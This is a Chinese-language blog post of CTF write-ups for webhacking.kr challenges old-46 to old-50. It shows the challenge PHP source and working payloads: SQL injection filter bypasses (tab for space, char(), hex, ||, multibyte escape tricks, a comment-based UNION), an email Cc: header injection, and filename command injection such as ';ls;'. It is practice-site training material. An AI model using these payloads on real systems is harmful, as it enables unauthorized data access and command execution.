Albert Huang
MED student | CS enthusiast
old-46
本題考點:SQLi with WAF bypass、char() 繞過
又是一題 SQL Injection,來看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php include "../../config.php" ; if ($_GET ['view_source' ]) view_source (); ?> <html><head> <title>Challenge 46 </title> </head> <body> <h1>SQL INJECTION</h1> <form method=get> level : <input name=lv value=1 ><input type=submit> </form> <hr><a href=./?view_source=1 >view-source</a><hr> <?php if ($_GET ['lv' ]){ $db = dbconnect (); $_GET ['lv' ] = addslashes ($_GET ['lv' ]); $_GET ['lv' ] = str_replace (" " ,"" ,$_GET ['lv' ]); $_GET ['lv' ] = str_replace ("/" ,"" ,$_GET ['lv' ]); $_GET ['lv' ] = str_replace ("*" ,"" ,$_GET ['lv' ]); $_GET ['lv' ] = str_replace ("%" ,"" ,$_GET ['lv' ]); if (preg_match ("/select|0x|limit|cash/i" ,$_GET ['lv' ])) exit (); $result = mysqli_fetch_array (mysqli_query ($db ,"select id,cash from chall46 where lv=$_GET [lv]" )); if ($result ){ echo ("{$result['id']} information<br><br>money : {$result['cash']} " ); if ($result ['id' ] == "admin" ) solve (46 ); } } ?> </body> </html>
一樣是要讓 id = admin,來看一下 lv 輸入的限制:
' 會經過 addslashes 跳脫
、/、*、% 直接替代為空
select、0x、limit、cash 為 regex 限制
因為會跳脫引號,因此使用 char() 來代替,然後 會被替代為空,因此使用 tab %09 來替代。
構造 payload 如下:
1 2 select id,cash from chall46 where lv=0%09or%09id=char(97,100,109,105,110) = select id,cash from chall46 where lv=0 or id='admin'
送出即可過關。
old-47
本題考點:Email Header Injection / SMTP Injection with CRLF
看起來是一個寄信的 SMTP 系統,來看一下 source code:
1 2 3 <form method ="post" name ="mailfrm" > Mail subject : <input type ="text" name ="subject" size ="50" value ="Flag of webhacking.kr old-47 chall" maxlength ="50" > <input type ="submit" value ="send" > </form >
看起來他會直接把 value 裡的東西塞到 subject 欄位裡面,裡面會有 flag,但我們收不到信,因此將 input 改成 textarea 後,下面新增一行 Cc: <my_mail> 來讓設定變成會將副本寄給我們試試看:
但它不是把信直接寄給我反而是把 flag 印出來到網頁上,有點奇怪。
old-48
本題考點:OS Command Injection
這題看起來是個上傳檔案的網站,嘗試上傳 webshell 但它不會執行 .php 因此無效,不過他還有一個留言的功能,來看一下下面的留言:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15:48:13 claude-wong test_cmd_inject 15:47:51 claude-wong probe_a`ls`.jpg 15:47:51 claude-wong probe_a.html 15:47:51 claude-wong probe_../etc/pas 15:47:51 claude-wong probe_a.php 15:47:50 claude-wong probe_a;ls.jpg 15:47:50 claude-wong probe_a$(ls).jpg
看起來很像在提示 Command Injection,而在上傳檔案刪除之後會顯示一個通知的頁面,所以可能可以嘗試將 filename 進行 Command Injection,結構可能如下:
1 2 rm {filename}; -> rm ;ls;
上傳後刪除即可拿到 flag。
old-49
本題考點:SQLi with WAF bypass
看起來跟 old-46 很像,來看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php include "../../config.php" ; if ($_GET ['view_source' ]) view_source (); ?> <html><head> <title>Challenge 49 </title> </head> <body> <h1>SQL INJECTION</h1> <form method=get> level : <input name=lv value=1 ><input type=submit> </form> <?php if ($_GET ['lv' ]){ $db = dbconnect (); if (preg_match ("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i" ,$_GET ['lv' ])) exit ("no hack" ); $result = mysqli_fetch_array (mysqli_query ($db ,"select id from chall49 where lv={$_GET['lv']} " )); echo $result [0 ] ; if ($result [0 ]=="admin" ) solve (49 ); } ?> <hr><a href=./?view_source=1 >view-source</a> </body> </html>
其實就只是把 regex 改得更嚴格,所以拿原本的 payload 來改即可,來看一下原本的 payload:
1 0%09or%09id=char(97,100,109,105,110)
更換 or 成 ||,然後這次是限制 () 反而沒有 0x,所以改成 hex 表示即可,最後這次限制了 tab 所以直接刪除。
old-50
這題頁面跟 old-45 很像,來看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php include "../../config.php" ; if ($_GET ['view_source' ]) view_source (); ?> <html><head> <title>Challenge 50 </title> </head> <body> <h1>SQL INJECTION</h1> <form method=get> id : <input name=id value='guest' ><br> pw : <input name=pw value='guest' ><br> <input type=submit> <input type=reset> </form> <?php if ($_GET ['id' ] && $_GET ['pw' ]){ $db = dbconnect (); $_GET ['id' ] = addslashes ($_GET ['id' ]); $_GET ['pw' ] = addslashes ($_GET ['pw' ]); $_GET ['id' ] = mb_convert_encoding ($_GET ['id' ],'utf-8' ,'euc-kr' ); foreach ($_GET as $ck ) if (preg_match ("/from|pw|\(|\)| |%|=|>|</i" ,$ck )) exit (); if (preg_match ("/union/i" ,$_GET ['id' ])) exit (); $result = mysqli_fetch_array (mysqli_query ($db ,"select lv from chall50 where id='{$_GET['id']} ' and pw=md5('{$_GET['pw']} ')" )); if ($result ){ if ($result ['lv' ]==1 ) echo ("level : 1<br><br>" ); if ($result ['lv' ]==2 ) echo ("level : 2<br><br>" ); } if ($result ['lv' ]=="3" ) solve (50 ); if (!$result ) echo ("Wrong" ); } ?> <hr><a href=./?view_source=1 >view-source</a> </body> </html>
我們的目標是讓 $result['lv']=3。其中,我們可以用與 old-45 一樣的方法來讓跳脫的 \' 變成合法的 ',以此類推。而 regex 限制如下:
id & pw:from、pw、()、 、%、=、><
id:union
嘗試一下在 id 注入 lv like 3#,並使用 tab 來替代掉空白:
1 2 select lv from chall50 where id='%aa\' or lv like 3#' and pw=md5('{$_GET['pw']}') = select lv from chall50 where id='' or lv like 3
但顯示為 Wrong,因此表示 lv=3 是空的,我們需要自己造一個給他。但 id 不能注入 union,因此從 pw 下手,而他沒有特別針對 \/* 進行限制,因此我們可以利用註釋 /*...*/ 來讓 md5() 消失,並且一樣把空白換成 tab:
1 2 select lv from chall50 where id='%aa\'/*' and pw=md5('*/union select 3#') = select lv from chall50 where id=''union select 3
送出參數即可過關。